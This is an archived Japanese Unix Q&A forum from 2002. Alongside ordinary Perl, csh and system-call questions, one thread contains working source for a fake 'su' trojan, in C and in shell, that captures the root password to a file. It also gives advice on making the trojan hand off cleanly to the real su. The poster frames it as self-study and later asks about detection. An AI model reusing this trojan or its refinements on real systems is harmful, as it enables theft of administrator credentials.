68user's page 掲示板

Prev< No. 2927〜3027> Next  [最新発言に戻る] [過去ログ一覧]
No. 2927 # kiki 2002/11/17 (日) 21:23:54
はじめまして。
c言語で書かれたプログラムを使って, .bash_profileのPATHを変更したいのですが,
なかなかうまくいきません.どなたか教えていただけないでしょうか.

ソースは以下のとうりです.

#include<stdio.h>
#include<stdlib.h>

main(int argc, char *argv[])
{
    char buf[100];

    sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin");
    system(buf);

    exit(1);
}

コンパイルは通って,実行時にエラーは出ませんでした.
bufに文字列はしっかり送られていました.
export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin とターミナル上で
打つと,しっかりPATHは変更されました.

よろしくお願いします.

No. 2928 # G 2002/11/18 (月) 19:48:53
例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る簡単な方法はありませんでしょうか?

/HP-UX

No. 2929 # NAGISA 2002/11/18 (月) 20:17:26
はじめまして。こんばんは。UNIXについて質問があります。
与えられた引数を、そのままエコーバックするシェルスクリプトを作成しいのですが、どうしたらいいかわかりません。
アドバイスを頂けたら幸いです。よろしくお願いします。

No. 2930 # 68user 2002/11/18 (月) 21:28:01
>>2926 ふくし
すいませんが、わかりません。
# 僕の知識は perl-5.00503 で止まっているので…。

>>2927 kiki
system は内部で fork して、子プロセスが sh を実行します。

> sprintf(buf,"export PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin");
> system(buf);

によって、子プロセスが実行する sh の環境変数は変更されますが、sh は
すぐに終了してしまうので親プロセス (正確には親の親プロセス)に環境変数は
渡りません。

ではどうすればよいか、という話になりますが、
> .bash_profileのPATHを変更したいのですが,
なぜそれをやりたいのか、ここで本当にやりたいのは何かを考えてみると
対策も見えてくるかもしれません。


>>2928 G
> 例えば/aaa/bbb/cccというPATHがあったとして、aaaの部分だけ抜き取る
> 簡単な方法はありませんでしょうか?
こんな感じでしょうか。
    % echo /aaa/bbb/ccc | sed 's|\(/[^/]*\).*|\1|'
    /aaa


>>2929 NAGISA
> 与えられた引数を、そのままエコーバックするシェルスクリプト
そういう場合は「エコーバック」とは言わないような気がしますが、
    #!/bin/sh
    echo $@
とか、
    #!/bin/sh
    for i in $@; do
        echo $i
    done
とか。

No. 2931 # 68user 2002/11/18 (月) 21:29:21
>>2925 なお@HP-UX11
> あるプロセスのメモリ使用量を調べたいのですが、可能でしょうか?
ps コマンドなぞどうでしょうね。

No. 2932 # kiki 2002/11/19 (火) 12:53:52
>>2931 68userさん
お返事ありがとうございます.kikiです.

> .bash_profileのPATHを変更したいのですが,
セキュリティに関する勉強でsuコマンドになり済ますトロイ
について勉強していまして,実際に自分のPCで実験しています.

suコマンドを使うユーザのアカウントを入手してあるという場合
を想定して,自分の一般ユーザ権限から自分の管理者権限のパス
ワードを盗むという実験です.手順は

1.あるディレクトリにトロイをおいて
2.PATH変更,トロイ置場を先に検索するようにする.
3.コマンドsuでsuトロイ起動.盗んだパスワードをファイルに
  書き込んで,トロイは自分を削除する.
4.suコマンドをもう一度実行,本物のsuコマンドが起動

です.3.の手順までは問題なく進みましたが,4.を実行すると
bash: /suトロイ置場/suトロイ : そのようなファイルやディレクトリはない
といわれてしまいました.

suトロイは消えていたので,本物のsuを探しに行ってくれるはずなのですが,
どうやら本物のsuを探しにいってくれないようなのです.
もちろんPATHは本物のsuにも通っています.
そこで,suトロイの中でPATHを変更しようと思ったのです.

No. 2933 # G 2002/11/19 (火) 16:04:44
>>2930 68user
いつもありがとうございます。
ただ感謝と尊敬の念でいっぱいです。
また、宜しくお願いします。

No. 2934 # ふくし 2002/11/20 (水) 23:52:58
>2930
さん、ありがとうございます。
5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、
結構面白いっぽいですよ。
(インストールで失敗してるぼくの言うことじゃないが ;;;

No. 2935 # 68user 2002/11/21 (木) 04:13:12
>>2932 kiki
シェルを置き換えたのか、~/.bash_profile を書き換えて
自作 su を起動するようにしたのかよくわかりませんが、

> 2.PATH変更,トロイ置場を先に検索するようにする.
ができているなら、後は /usr/bin/su を起動すればいいだけ
だと思います。そこで PATH が出てくる理由がよくわかりません。


>>2934 ふくし
> 5.6 にせよ、5.8 にせよ、まだ使いこなせてませんが、
> 結構面白いっぽいですよ。
うっかりプログラミング Perl 第3版 (perl-5.6 用) なぞ買って
しまいましたが、ぜひ利用したいのは our ですね。次点はちょっと
安全になった open。

それ以外はまーいいやって感じです。

ときに our って C でいうところの
        int get_num(){
                static int num=1;
                return num++;
        }
        main(int argc, char *argv[])
        {
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
                printf("num=%d\n", get_num());
        }
のような static だと思い込んでいたんですが、今 本を読み直してみると
なんか違うような気も。

あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、
順番を保持するハッシュ (セットした順に keys が返ってくる) って
導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、
見つけられない。

# キー固定のハッシュは Class::Struct を使えばいいのかな。

No. 2936 # 68user 2002/11/21 (木) 04:23:03
>>2935 68user
> あと、キー固定のハッシュ (キーをタイプミスするとエラー扱い)、
> 順番を保持するハッシュ (セットした順に keys が返ってくる) って
> 導入されてないんでしたっけ。どこかで聞いた覚えがあるんですが、
> 見つけられない。
みびょーに違う話のような気もしますが、perl-5.005_03 でも
      $john=[{age=>1, eyes=>2, weight=>3}, 47, "brown", 186];
      print "$john->{eyes}\n";
      print "$john->[2]\n";
てな書き方ができるんですねぇ。これは知らなかった。

No. 2937 # ふくし [E-mail] 2002/11/21 (木) 16:26:20
すいません、今度は Perl 5.005_03 の話です ;;;
経理システムで、
・単価はドル建てだが、セント未満の端数がありうる
    (1個につき 0.001 ドルとか)
・個数は「個」だが、1個未満の端数がありうる
    (0.1 個とか)
という条件で、単価x個数=売上を、
小数点以下第3位で切り捨て(小数点以下第2位まで)で求めよ、
という問題で
「100倍して int して100で割る」ということをしていました。

#! perl
$tanka = 10000.88; # ドル
$kosuu = 1; # 個
$uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍
print "uriage x 100 = $uriage100\n";
$uriage = int($uriage100)/100;
print "uriage = $uriage\n";

しかしこうすると、int(1000088) は 10000088 になるので、
uriage x 100 = 1000088
uriage = 10000.87
となります。もっとも手軽な回避方法はなんでしょうか。
もしお分かりでしたらご教示ください。

No. 2938 # 初心者 [E-mail] 2002/11/21 (木) 17:02:30
cshrcファイルの内容について皆さんにお聞きしたいです。
source .cshrcコマンドを出すときにUnmatchedといわれていますけど、
どこに問題があるかは良く分かりません。
cshrcの内容は以下のようになります*************
# .cshrc

# User specific aliases and functions
# alias rm 'rm -i'
alias ls 'ls --color'
alias cp 'cp -i'
alias mv 'mv -i'

#setenv PATH "/usr/sbin:/sbin:$PATH"
setenv NCARG_ROOT "/usr/local/ncarg"
setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin
              :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3
              :/home/hongbin/rams4.3/chq1/plvrams:$PATH"
#setenv LD_LIBRARY_PAYH "/usr/FFC/lib"
#setenv MANPATH "/usr/FFC/man:$NCARG_ROOT/man"

setenv PGI "/usr/pgi"

set path = ( $PGI/linux86/bin $path )

if($?MANPATH ==1) then
        setenv MANPATH $PGI/man:$MANPATH
else
        setenv MANPATH $PHI/man
endif

#setenv MANPATH "$MANPATH":$PGI/man
setenv LM_LICENSE_FILE "$PGI/license.dat"
setenv MANPATH "$PGI/man:$NCARG_ROOT/man"

set prompt='[%n@%m %c]#'

*****************
どこが間違っているでしょうか。
よろしくお願いします。

No. 2939 # 名無し 2002/11/21 (木) 17:07:21
>>2937 ふくし
sprintfは?

No. 2940 # 名無し 2002/11/21 (木) 17:09:27
>>2938 初心者
この書き方は出来るのかな??複数行にわたるクオート

setenv PATH "/usr/sbin:/bin:$NCARG_ROOT/bin
                            :/home/hongbin/fdgrib1.0/src/pre/fdgrib:/home/hongbin/rams4.3
                            :/home/hongbin/rams4.3/chq1/plvrams:$PATH"

No. 2941 # 68user 2002/11/21 (木) 17:14:28
>>2937 ふくし
勘定系ってやっぱり BCD だったりするんだろうかと思いつつ、
こういうときの常套手段を知らないので、しばし傍観。

>>2938 初心者
csh -fv .cshrc しましょう。あるいは、1行ずつ手でタイプ
(あるいはマウスでコピペ) しましょう。どこに問題があるのか
わかります。

No. 2942 # ふくし [E-mail] 2002/11/21 (木) 17:30:37
>>2940 名無し
さん、ありがとうございます。

sprintf は四捨五入なんですね。
ということはあらかじめ 0.005 を引いておけばよい?
−−−−−−−−−−プログラム−−−−−−−−−−−−−−>8
#! perl

while (<DATA>) {
                chomp;
                $tanka = $_; # ドル
                print "tanka = $tanka ";
                $tanka -= 0.005; # 切り捨てたいから
                $kosuu = 1; # 個
                $uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍
                $uriage = $uriage100 / 100;
                $uriage = sprintf "%.2f", $uriage;
                print "uriage = $uriage\n";
}
−−−−−−−−−−プログラム終わり−−−−−−−−−−−>8
実行結果。
> keisan
tanka = 10000.88 uriage = 10000.88
tanka = 10000.881 uriage = 10000.88
tanka = 10000.882 uriage = 10000.88
tanka = 10000.883 uriage = 10000.88
tanka = 10000.884 uriage = 10000.88
tanka = 10000.885 uriage = 10000.88
tanka = 10000.886 uriage = 10000.88
tanka = 10000.887 uriage = 10000.88
tanka = 10000.888 uriage = 10000.88
tanka = 10000.889 uriage = 10000.88

なんかできてるっぽい、、?

__DATA__
10000.88
10000.881
10000.882
10000.883
10000.884
10000.885
10000.886
10000.887
10000.888
10000.889

No. 2943 # 68user 2002/11/21 (木) 17:38:02
>>2942 ふくし
これなんかどうでしょうね。
http://www.harukaze.net/~mishima/perl/faq/newbiefaqpgm.html#5

> $uriage = $uriage100 / 100;
最後に 100 で割るのがなんかおそろしいなぁ。

値によっては循環小数になったりしないのかな。循環小数になっても
%.2f してるから OK?

No. 2944 # ふくし 2002/11/21 (木) 17:49:16
すいません、お騒がせしております ;;;
100 で掛けたり、割ったりしているのは、
int を使いたかったからで、
sprintf を使っている以上、必要ないですね。

(切り捨ての場合)
while (<DATA>) {
                chomp;
                $tanka = $_; # ドル

                print "tanka = $tanka ";

                $tanka -= 0.005; # 切り捨てたいから
                $kosuu = 1; # 個

                $uriage = sprintf "%.2f", $tanka * $kosuu;

                print "uriage = $uriage\n";
}

四捨五入の場合は 0.005 を引くのをやめるとか。

No. 2945 # ふくし 2002/11/21 (木) 18:32:31
だめでした ;;;
sprintf "%.2f", $a;
に、$a に 10000.005 を渡すと、10000.00 になります。
(環境に依存しまくるかな。FreeBSD 2.2.8_Release、Perl 5.005_03)

しょうがないので . で split して、、いろいろしようと思います ;;;

ちなみに 68User さん、BCD というのはモジュールありますか?
CPAN で検索したら EBCDIC_convert なんとかというのしか
見つかりませんでした ;;;

No. 2946 # ふくし 2002/11/21 (木) 19:18:10
一人で駄投稿を繰り返して大変申し訳ありません。
けっきょく 100 倍して 0.5 を足して 100 で割る形式に戻し、
変数をすべて Math::BigFloat にしました。
なんとなくできているような気がしますが、
これぐらいの時間帯になってくると
「いったい何ができてるってことなのか」わからなくなってくるので ;;;
明日また考えます。X68000 さん、名無しさん、ありがとうございました。
何かありましたらよろしくお願いします。

No. 2947 # ふくし 2002/11/22 (金) 00:32:45
家に帰って思ったけど dc コマンドを `` で囲んでもよかったかも ;;;

No. 2948 # hsj 2002/11/22 (金) 19:58:19
>>2947 ふくし
もう解決してらっしゃる様ですが、最初のソースの
$uriage100 = $tanka * $kosuu * 100; # 売上の 100 倍

$uriage100 = $tanka * $kosuu * 100 + 0.05; # 売上の 100 倍
みたいにして、端数の発生しない桁(この例なら0.01セントの桁)で
適当な数字を足してやると良いんじゃないでしょうか。
端数の発生しない桁が決められない場合はダメですが・・・。
#ぱっとみて思いついただけなんで全然的外れかもしれません

No. 2949 # tak 2002/11/24 (日) 00:25:59
はじめまして。FreeBSD4.6.2-RELEASEとXFree86 4.2をインストールして、XDMからログインしようとしているのですが、rootではログインできるのですが、一般ユーザだとログインできたと思ってもすぐにもとのログイン画面に戻ってしまいます。.xsessionは作っていないので記述ミスはないと思うのですが、なぜ一般ユーザだとログインできないのか分かりません。どなたか対処法を知っている方がいましたら教えていただきたいのですが。
よろしくお願いします。

No. 2950 # tak 2002/11/25 (月) 23:02:58
解決しました。

No. 2951 # 68user 2002/11/26 (火) 00:22:14
>>2945 ふくし
> ちなみに 68User さん、BCD というのはモジュールありますか?
binary decimal で検索したら、これがひっかかりました。
      http://search.cpan.org/author/JPEACOCK/Math-FixedPrecision-0.21/FixedPrecision.pm

No. 2952 # kiki 2002/11/26 (火) 19:27:25
>68userさん,お返事が送れて申し訳ありません.kikiです

>> 2.PATH変更,トロイ置場を先に検索するようにする.
>> ができているなら、後は /usr/bin/su を起動すればいいだけ
>> だと思います。そこで PATH が出てくる理由がよくわかりません。

たしかにcshなどのシェルはsuトロイが動いた後にsuコマンド
を打ち込むと,本物のsuが問題なく立ち上がるのですが,

bashの場合,suトロイが動いた後にsuコマンドを打ち込むと,
bash:/suトロイ置場/suトロイ:そのようなファイルやディレクトリはない

といわれてしまいました.
suトロイは消えていたので,本物のsuを探しに行ってくれるはずな
のですが,どうやら本物のsuを探しにいってくれないようなのです.
もちろんPATHは本物のsuにも通っています.そこで,
suトロイの中でPATHを変更しようと思ったのです.

こちらも理由を考えていたのですがわかりません.
バージョンは bash-2.04-1v14です.
何か,こころあたりがございましたら,
御教授願います.よろしくお願いします.

No. 2953 # 68user 2002/11/28 (木) 02:09:57
>>2952 kiki
具体的に何をやっているのかが全く見えないです。遠回しな
書き方をしないでスクリプトを提示するなりしてください。

なお、FreeBSD 4.7-RELEASE+bash-2.05.0(1)-release では
成功しました (意図通りの挙動かどうかはわかりませんが)。

bash-2.05$ PATH=.:$PATH
bash-2.05$ cat su
#!/bin/sh
echo -n "(Trojan su)Password: "
stty -echo
read a
stty echo
echo ""
echo "Sorry (Your password [$a] is captured!)"
mv su su.bak
bash-2.05$ type su
su is hashed (./su)
bash-2.05$ su
(Trojan su)Password:
Sorry (Your password [hoge] is captured!)
bash-2.05$ which su
/usr/bin/su
bash-2.05$ su
Password:
Sorry

No. 2954 # kiki 2002/11/28 (木) 02:58:00
>>68user様
お返事ありがとうございます.kikiです.
申し訳ありません.トロイのソースを書き込ませていただきます.
cで書かれたトロイを使っています.
トロイの置き場所は /home/koko/.oite です.

#include <stdio.h>
#include <stdlib.h>
#define SU_PASS "/tmp/.rewt"

main (int argc, char *argv[])
{
          char *key;
          char buf[40];
          FILE *fd;
          
          key = (char *)getpass ("Password:");
          fd = fopen(SU_PASS,"w");
          fprintf(fd, "pass: %s\n", key);
          fclose(fd);
          printf ("su: incorrect password\n");
          sprintf(buf, "rm /home/koko/.oite/%s", argv[0]);
          system(buf);
          exit (1);
}

よろしくお願いします.
こちらでも引続き原因を調べてみます.

No. 2955 # 68user 2002/11/28 (木) 03:23:12
>>2954 kiki
つまりやってることは
>>2953 68user
のスクリプトと同じなわけで、こちらで実行すると 2回目の su で
/usr/bin/su を実行してくれました。

ということは bash が原因なわけで、ハッシュテーブルを再構築
しない設定になっているのでは、などを疑うべきなんでしょうけど、
bash は使ってないのでよくわかりません (勝手にハッシュテーブル
再構築してくれるんじゃないのかな?)。そこらへん何か設定がある
んでしたっけ。

あとは bash の最新版を入れてみるとか。

No. 2956 # 68user 2002/11/28 (木) 07:52:05
>>2954 kiki
bash-2.03.0(1)-release と bash-2.05a.0(1)-release でやって
みましたが、どうやら
    PATH=.:$PATH
だと OK (/usr/bin/su が実行される) ですが
    PATH=/foo/bar:$PATH
と絶対パスで設定すると /foo/bar/su が hash に残っているようですね。

マニュアルを読む限りでは bash の仕様のような気がしますし、相対
パスのコマンドが hashing されていた場合は (カレントディレクトリが
移動しているかもしれないので) 再度 PATH を検索する、というのは
納得のいく挙動です。

# でも、もしかしたら bash のバグかもしれません。

解決策としては
    % shopt -s checkhash
があげられるでしょうけど、これだと操作者の協力が必要なので、トロイの
su を作るという目的を第一に考えるのであれば、

    1. PATH=../../../../../../../../../../../../home/foo/bar:$PATH とする。
          カレントディレクトリの階層があまりに深くなければ、これでいける。
    2. トロイ版 su の中で /usr/bin/su を exec する

といったところでしょうが、普通は 2 のような気がします
(作ったことないのでわからんけど)。

No. 2957 # ふくし [E-mail] 2002/11/28 (木) 16:12:20
みなさん、計算の問題でフォローアップありがとうございます。
とりあえず Math::BigFloat で快適です。
3471943.48 および 3471943.488 という数を 0 と比較すると
おかしいという現象があって一瞬ひやっとしましたけど、
5.005003 ではバグってるけど 5.6.0 では直ってるようでした。

■ソース
#! perl
use Math::BigFloat;

while (<DATA>) {
        chomp;
        $num = Math::BigFloat->new($_);

        if ($num >= 0) {
                print "$num is larger-equal than 0\n";
        } else {
                print "$num is not larger-equal than 0\n";
        }

        $cmp = $num->fcmp("0");
        print "compare $num vs 0: $cmp\n";
}

__DATA__
3471943.488
3471943.48
3

■5.005003 での実行結果
3471943.488 is not larger-equal than 0
compare 3471943.488 vs 0: -1
3471943.48 is larger-equal than 0
compare 3471943.48 vs 0: -1
3. is larger-equal than 0
compare 3. vs 0: 1

■5.6.0 での実行結果
3471943.488 is larger-equal than 0
compare 3471943.488 vs 0: 1
3471943.48 is larger-equal than 0
compare 3471943.48 vs 0: 1
3. is larger-equal than 0
compare 3. vs 0: 1

No. 2958 # kiki 2002/11/29 (金) 17:50:58
>>2956 68user様
またお返事が送れて申し訳ありません.kikiです.

お返事ありがとうございます.早速ためしてみます.
この質問を通じて,いろいろ知らないこともわかったので
その点でもとても勉強になりました.
ありがとうございました.

No. 2959 # KENT1 2002/11/30 (土) 23:50:22
初めてになりますが、質問がありますので、お力添えをお願いします。
プログラムの実行時間を計るために、timeコマンドがありますが、このときに出力される結果を、指定したファイルに書き込む方法はないでしょうか?
リダイレクトを使って、
time 実行するコマンド > ファイル名
としても、ファイルに結果が出力されませんでした。プログラムの実行時間を書き込むための良いアドバイスをお願いします。

No. 2960 # 68user 2002/12/02 (月) 08:58:04
>>2959 KENT1
お使いの OS とシェルを必ず書いてください…と言うのも疲れたので、
てきとーに試してみてください。
    /usr/bin/time ls >& file
    /usr/bin/time ls >file 2>&1
    env TERM= csh -c "time ls" > file
    env TERM= bash -c "time ls" > file

No. 2961 # 1202 2002/12/02 (月) 14:50:39
初めまして。初心者なので質問自体が意味不明かもしれませんが、
システムコールでCPU使用量や、ディスク使用量などを取得する方法を教えてください。dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が違ってくるので、、、ちなみに使用言語はC、OSはLinuxでお願いします。

No. 2962 # 68user 2002/12/02 (月) 15:20:34
>>2961 1202
> ディスク使用量
statfs(2), fstatfs(2)

> CPU使用量
プロセス単位の情報かシステムの情報を取るのかわかりませんが、
Linux ならどちらにせよ /proc 直読みなのかな? あるいは /proc を
読むような API が用意されているかもしれませんが、わかりません。

後は man -k stat、man -k cpu、man -k disk などを活用してください。

No. 2963 # 1202 2002/12/02 (月) 15:47:40
>>2962 68user
ありがとうございます。
早速試してみます。

No. 2964 # kiki 2002/12/02 (月) 20:25:54
kikiと申します.
68user様,先日はお世話になりました.

お聞きしたいことがあります.

私は今,シェルでpsコマンドを打ち込んだら
標準出力で"psコマンドがうちこまれました."
と出力させるプログラムを作ろうとしています.

この時に,シェルからpsコマンドが打ち込まれたかどうかを
判定するプログラムに,シェルで打ち込まれたコマンドを渡して
判定させたいのですが,このような事は,プロセス間通信や
デーモンを使うのでしょうか?

皆様のアドバイスをよろしくお願い致します.

また,簡単なデーモンのソースがあるページや,
デーモンを作るにあたってやくだつページを
ご存知でしたら教えてください.

よろしくお願いします.

No. 2965 # 68user 2002/12/03 (火) 01:16:24
>>2964 kiki
前にも書きましたが目的は何ですか? kiki さんの質問は
いつも情報量が足りないと思います。

目的を書かないから前提条件がわからない。前提条件が
わからないから、例えば
    「利用者にばれてもいいのか」
    「シェルのソースをいじるというのはアリなのか」
などもわからない (当然その答えによって解は異なります)。

> また,簡単なデーモンのソースがあるページ
http://www.adl.nii.ac.jp/~moro/unix-programmer/faq-j_2.html#SEC16 など。

>>2961 1202
> dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が
> 違ってくるので、、、
ちなみに僕ならば面倒なので GNU df を Solaris に
入れます (仕事であれば特に)。

No. 2966 # kiki 2002/12/03 (火) 02:32:54
2965>>68user様

毎回すみません.

目的は前回の質問でふれたsuトロイの痕跡の検出なんです.
suトロイも本物のsuも.bash_historyのなかにコマンドが残りますが,
/var/log/messageでは,本物のsuの痕跡しか残らない事を利用して,
suトロイをリアルタイムに近い形で検出できないか?と考えたのです.

そこで,シェルからsuコマンドが打ち込まれたかどうかを
判定するプログラムに,シェルで打ち込まれたコマンドを渡して
判定させ,suとコマンドが 実行されているようならば,
/var/log/messageをみて,suの痕跡があるかどうかを調べれば
検出できるだろうと考えたのです.

とりあえずsuコマンドが打ち込まれたかどうかを判定する
部分をまず作ろうと思いましたが,この時にプロセス間で
データのやりとりが必要になったり,デーモンも使うのかな
と思い,質問させていただきました.

「利用者にばれてもいいのか」
    >はい,ばらせる事ができるならば是非そうしたいです.

「シェルのソースをいじるというのはアリなのか」
    >はい,ありです.

毎回わかりづらい書き込みをして申し訳ありません.
ご教授をお願い致します.

No. 2967 # 68user 2002/12/03 (火) 13:04:01
>>2966 kiki
今度は検出なわけですね?

> /var/log/messageでは,本物のsuの痕跡しか残らない事を利用して,
syslog(3) や logger(1) を使えば誰でも su と同様にログに記録する
ことはできますので、これだけでは正確に判断できません。

では他に判断する方法はあるかというと、決定的なものはないです。
結局は「何をもって本物と判断するか」「何を持って悪意のあるプロ
グラムと判断するか」に帰着するわけで。興味があればアンチウィルス
ソフトがウィルスを検出する手段を調べてみるとよいでしょう。

で、それとは別に「どうやって su がタイプされたことを検出するか」という
話ですが、ウィルスやトロイの木馬にやられるときというのは、つまるところ
「プログラムを実行したとき」なわけで、exec(2) の実行直前に su を実行
しようとしているかどうか、というチェックをすればよいでしょう。

プロセス間通信やデーモンは「なぜそれを使う必要があるか」を説明でき
ないなら、使う必要はないということです。


別の解としては、システムコールの発行を hook して安全性をチェック、
というのもありますが、UNIX でこういうのってできるのかなーと思って
調べてみたら、なんかできるようですね。
      http://www.caj.co.jp/support/etrustac_faq.htm
      Q6: eTrust Access ControlのSoft Hook技術とは何ですか?
カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を
置き換えているのか…(できるのかな?)

# Windows なら SetWindowsHookEx で簡単なんですけど。

No. 2968 # kiki 2002/12/03 (火) 17:53:30
>>2967 68user様
お返事ありがとうございます.

>syslog(3)やlogger(1) を使えば誰でも su と同様にログに記録することはできます

これはsuトロイを実行した時にも/var/log/messageに本物のsuの認証失敗のメッセージ
を残せる,という事なんですよね.これは,suトロイ内でsyslog()関数などを使って,
syslogdにメッセージを渡すという事なのでしょうか?


P.S.
システムコールで見分ける,ですね.
確かに,suトロイと本物のsuだとやっている事はちがうから
見分けられるかも知れませんね.アドバイスありがとうございます.

No. 2969 # kiki 2002/12/04 (水) 21:25:13
>>2967 68user様

何回も申し訳ありません.kikiです.

>exec(2)の実行直前にsuを実行しようとしているかどうか、というチェックをすればよいでしょう。

これは,システムコールのチェックを自動化させて行なえばよい,
という事なのでしょうか?

基本的な事で申し訳ありません.

No. 2970 # ふくし [E-mail] 2002/12/05 (木) 18:47:37
いつもすいません、質問です。
以下のようなプログラムを Perl 5.8/FreeBSD 2.2.8 release で書きたいです。

カンタンにいうと、入れ子になったタグで囲まれた部分だけを
別ファイルに抜き出し、元ファイルからは削除する、です。

順序を保存して抜く方法と、
保存しないで抜く方法とあると思いますが、
どちらでもかまいません。
(前者の方がいいかなぁ、、)

入力ファイル:

out1
<tag a>
  in1
    <tag b>
        in2
        <tag c>
            in3
        </tag>
        in4
    </tag>
  in5
</tag>
out2
<tag d>
  in6
    <tag e>
        in7
    </tag>
  in8
</tag>
out3
<tag f>
  in9
</tag>
out4

出力ファイル例1:(順序を保存して抜く)

ファイルA:(タグで囲まれた部分のみを抜いたもの)
<tag a>
  in1
    <tag b>
        in2
        <tag c>
            in3
        </tag>
        in4
    </tag>
  in5
</tag>
<tag d>
  in6
    <tag e>
        in7
    </tag>
  in8
</tag>
<tag f>
  in9
</tag>

ファイルB:(ファイルAで抜いた残り)
out1
out2
out3
out4

出力ファイル例2:(順序を保存しないで抜く)

ファイルA:(タグで囲まれた部分のみを抜いたもの)
        <tag c>
            in3
        </tag>
    <tag b>
        in2
        in4
    </tag>
<tag a>
  in1
  in5
</tag>
    <tag e>
        in7
    </tag>
<tag d>
  in6
  in8
</tag>
<tag f>
  in9
</tag>

ファイルB:(ファイルAで抜いた残り)
out1
out2
out3
out4

よろしくお願いします。

No. 2971 # ふくし [E-mail] 2002/12/05 (木) 20:32:07
補足です。
この tag というのは全部同じタグです。
ただオープンタグにかかれている a, b, ... という
アトリビュートが全部違います。

No. 2972 # ふくし [E-mail] 2002/12/05 (木) 23:16:22
さらに補足。(俺って説明下手だな、、;;;
ファイルには <tag> 以外のタグも存在します。
<aaa ???>〜</aaa>、<bbb ???>〜</bbb> などです。
その中で下の処理の対象になるのが <tag> だけということです。
<tag ???>〜</tag> の中に <xxx ???>〜</xxx> がある場合は、
それも抜いて書き出します。
問題の定義もなかなか奥が深い。

No. 2973 # 68user 2002/12/06 (金) 00:21:32
>>2969 kiki
シェルって何をしているか知っていますか? 簡単に言うと、ユーザが
入力した文字列を解析し、execve(2) を実行することです。

シェルのソースをいじっていいのならば、execve(2) を発行している
部分を探して、そこで su を実行しようとしているかどうかのチェックを
行えばよいのでは、という話です。

>>2970 ふくし
入力が XML なら、
    http://member.nifty.ne.jp/hippo2000/perltips/xml/dom.htm#XML_DOM_NODE
の removeChild で一発なような気がします。

XML でないなら構文解析してスタックに積んで…といきたいところですが、
僕は軟弱なので
    - s|<tag .*?>.*?</tag>||
    - 削除したのが足りなかった
            (例えば <tag a>in1<tag b>in2<tag c>in3</tag> しか取れなかった)
        なら、追加であと 2個の </tag> をするため s|.*?</tag>.*?</tag>|| とする。
とします。

No. 2974 # 68user 2002/12/06 (金) 01:04:43
>>2967 68user
> 別の解としては、システムコールの発行を hook して安全性をチェック、
> というのもありますが、UNIX でこういうのってできるのかなーと思って
> 調べてみたら、なんかできるようですね。
>   http://www.caj.co.jp/support/etrustac_faq.htm
>     Q6: eTrust Access ControlのSoft Hook技術とは何ですか?
> カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を
> 置き換えているのか…(できるのかな?)

最近これに激しく惹かれているのですが、libc 置き換えで可能なんでしょうか。
詳しい人がいらっしゃったら教えてください。

全てのシステムコールは
      http://home.jp.freebsd.org/cgi/cvsweb.cgi/src/lib/libc/i386/sys/syscall.S?rev=1.8
を経由するんじゃないかと思っているのですが、もしそれが正しいなら
ここにチェック機能を入れた libc を用意して置き換えるか、あるいは
LD_PRELOAD で既存 libc に置き換えることは可能なのかなぁ。

どちらにせよアセンブラができないので、
      http://www.ascii.co.jp/books/detail/4-7561/4-7561-0213-1.html
を買って勉強かな…。

No. 2975 # ふくし 2002/12/06 (金) 10:29:54
>>2973 68user
さん、ありがとうございます。
まさに xml で、そのパッケージすごく便利そうなんですが
使い方がよくわかりません ;;;
でもべっかいの方でなんとなくできたのでもう少しまとめてから公開します。

No. 2976 # 68user 2002/12/06 (金) 11:02:25
>>2975 ふくし
別解でがんばるよりは、早めに XML::DOM の使い方を覚えた方が
幸せ度が高いかと。

# 僕は使ったことないですけど。

No. 2977 # UMA 2002/12/06 (金) 13:15:47
通りすがりのものですが・・・

システムコールをhookして安全性を云々というのは、
たとえば
        Systrace - Interactive Policy Generation for System Calls
        http://www.citi.umich.edu/u/provos/systrace/
こういったもののことでしょうか?
(OpenBSD, NetBSD にはマージされています)

No. 2978 # UMA 2002/12/06 (金) 13:17:35
X68000の、内臓フォントを利用するインターフェースを調べています。
フリーで有用な文書がありましたら教えていただけないでしょうか?
>識者

なお当方X68000に関する知識は皆無でございます。

No. 2979 # KENT1 2002/12/06 (金) 16:14:05
>>2960 68user様 報告が遅れまして申し訳ありません。
/usr/bin/time 実行コマンド >& 出力ファイル
を実行した結果うまくいきました。ありがとうございました。

No. 2980 # ふくし [E-mail] 2002/12/06 (金) 17:05:36
タグのパースの件です。
別解ですが、会社の若い者が作ったプログラムが無事動きました。

で、せっかくなので XML::DOM を入れようとしたら、
XML::Parser を入れよと言われたので、
XML::Parser を入れようとしたら、
expat を入れよと言われたので、
expat の tar.gz を解いて ./configure して Makefile を
#prefix = /usr/local
prefix = /henna_directory
として make したら(ぼくは管理者でないので)、
  gcc: unrecognized option `-R/henna_directory/lib'
といわれました。ここで止まっています。
ちなみに /henna_directory/lib というディレクトリはあります。
(ついでにいうと、bin も include も man も)
待て次号。;;;

No. 2981 # 68user 2002/12/06 (金) 22:59:42
>>2977 UMA
> システムコールをhookして安全性を云々というのは、
はい、そういうものを念頭に置いていました (が、ユーザランドで
できたらいいなと。無理なのかな)。

Systrace の存在は知りませんでしたが、これはとてもいいですねぇ。
素晴らしいです。

>>2978 UMA
68user's page で X68000 の疑問が解決したことは一度もなかったりします。
インタフェースって API ですか? (ではなさそうな気がしますが)。僕が記憶に
頼って書くと多分間違っているので、X68000 エミュレータ関係の掲示板で
聞くのが早いと思います。

>>2980 ふくし
まーいろいろありますが、がんばってインストールしてください。

あと、libwww-perl あたりもいれなきゃいけないのが perl の XML
モジュールのうざいところ。

No. 2982 # kiki 2002/12/07 (土) 02:16:59
>>2973 68user様
お返事ありがとうございます.kikiです.

丁寧なご説明ありがとうございました.
